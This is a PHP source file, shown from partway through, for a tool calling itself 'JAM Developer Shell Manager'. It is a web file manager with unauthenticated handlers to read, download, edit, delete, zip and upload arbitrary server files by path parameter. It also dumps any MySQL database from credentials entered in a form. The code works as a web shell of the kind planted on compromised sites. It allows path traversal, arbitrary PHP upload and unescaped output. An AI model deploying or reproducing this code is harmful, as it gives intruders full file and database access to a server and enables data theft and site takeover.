"; if (dirname($dir) !== $dir) { echo ""; } foreach ($files as $file) { if ($file == '.' || $file == '..') continue; $filePath = realpath($file); echo ""; } echo "
NameSizeModifiedActions
⬅️ Go Back
"; if (is_dir($filePath)) { echo "📁 $file"; } else { echo "📄 $file"; } echo "" . (is_file($filePath) ? filesize($filePath) . " bytes" : '-') . "" . date("Y-m-d H:i:s", filemtime($filePath)) . ""; if (!is_dir($filePath)) { echo "⬇️ "; echo "✏️ "; echo "👁️ "; } echo "🗑️"; echo "

"; } // ======================== Backend Handlers ======================== // Download if (isset($_GET['download'])) { $file = $_GET['download']; if (file_exists($file)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); readfile($file); exit; } echo "File not found!"; exit; } // Delete if (isset($_GET['delete'])) { $file = $_GET['delete']; if (is_file($file)) unlink($file); elseif (is_dir($file)) rmdir($file); header("Location: " . $_SERVER['PHP_SELF'] . "?dir=" . urlencode($dir)); exit; } // Edit if (isset($_GET['edit'])) { $file = $_GET['edit']; if (is_file($file)) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) { file_put_contents($file, $_POST['content']); echo "

✅ File saved.

"; } $content = htmlspecialchars(file_get_contents($file)); echo "

Editing: $file


🔙 Back"; exit; } } // Preview if (isset($_GET['preview'])) { $file = $_GET['preview']; if (is_file($file)) { echo "

Preview: $file

" . htmlspecialchars(file_get_contents($file)) . "
🔙 Back"; exit; } } // ZIP if (isset($_POST['zip']) && isset($_POST['items'])) { $zipName = 'archive_' . date('Y-m-d_H-i-s') . '.zip'; $zip = new ZipArchive(); if ($zip->open($zipName, ZipArchive::CREATE)) { foreach ($_POST['items'] as $item) { if (is_file($item)) { $zip->addFile($item, basename($item)); } elseif (is_dir($item)) { $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($item)); foreach ($iterator as $f) { if (!$f->isDir()) { $zip->addFile($f->getPathname(), substr($f->getPathname(), strlen(dirname($item)) + 1)); } } } } $zip->close(); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . basename($zipName) . '"'); readfile($zipName); unlink($zipName); exit; } } // Upload if (isset($_GET['upload'])) { if ($_SERVER['REQUEST_METHOD'] === 'POST') { move_uploaded_file($_FILES['file']['tmp_name'], $dir . '/' . $_FILES['file']['name']); header("Location: ?dir=" . urlencode($dir)); exit; } echo "

Upload File to: $dir

🔙 Back"; exit; } // Make Directory if (isset($_GET['mkdir']) && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['foldername'])) { $newDir = $dir . '/' . basename($_POST['foldername']); mkdir($newDir); header("Location: ?dir=" . urlencode($dir)); exit; } // DB Dump if (isset($_GET['dbdump'])) { if ($_SERVER['REQUEST_METHOD'] === 'POST') { $host = $_POST['host']; $user = $_POST['user']; $pass = $_POST['pass']; $db = $_POST['db']; $filename = "dump_" . $db . "_" . date("Ymd_His") . ".sql"; $mysqli = new mysqli($host, $user, $pass, $db); if ($mysqli->connect_error) { die("Connection failed: " . $mysqli->connect_error); } header('Content-Type: application/sql'); header('Content-Disposition: attachment; filename="' . $filename . '"'); header('Pragma: no-cache'); header('Expires: 0'); $tables = $mysqli->query("SHOW TABLES"); while ($row = $tables->fetch_array()) { $table = $row[0]; echo "DROP TABLE IF EXISTS `$table`;\n"; $create = $mysqli->query("SHOW CREATE TABLE `$table`")->fetch_array(); echo $create[1] . ";\n\n"; $rows = $mysqli->query("SELECT * FROM `$table`", MYSQLI_USE_RESULT); while ($data = $rows->fetch_assoc()) { $cols = array_map(fn($v) => "`" . $mysqli->real_escape_string($v) . "`", array_keys($data)); $vals = array_map(fn($v) => $v === null ? "NULL" : "'" . $mysqli->real_escape_string($v) . "'", array_values($data)); echo "INSERT INTO `$table` (" . implode(", ", $cols) . ") VALUES (" . implode(", ", $vals) . ");\n"; } $rows->free(); echo "\n"; } $mysqli->close(); exit; } echo "

MySQL DB Backup

Host:
User:
Pass:
DB Name:
🔙 Back"; exit; } // ======================== UI/Styles ======================== echo " "; $currentPath = htmlspecialchars($dir); echo "

🌐 JAM Developer Shell Manager

Current Directory: $currentPath

"; echo "⬆️ Upload File "; echo "🛢️ DB Dump "; echo "

"; listDir($dir); echo "
"; ?>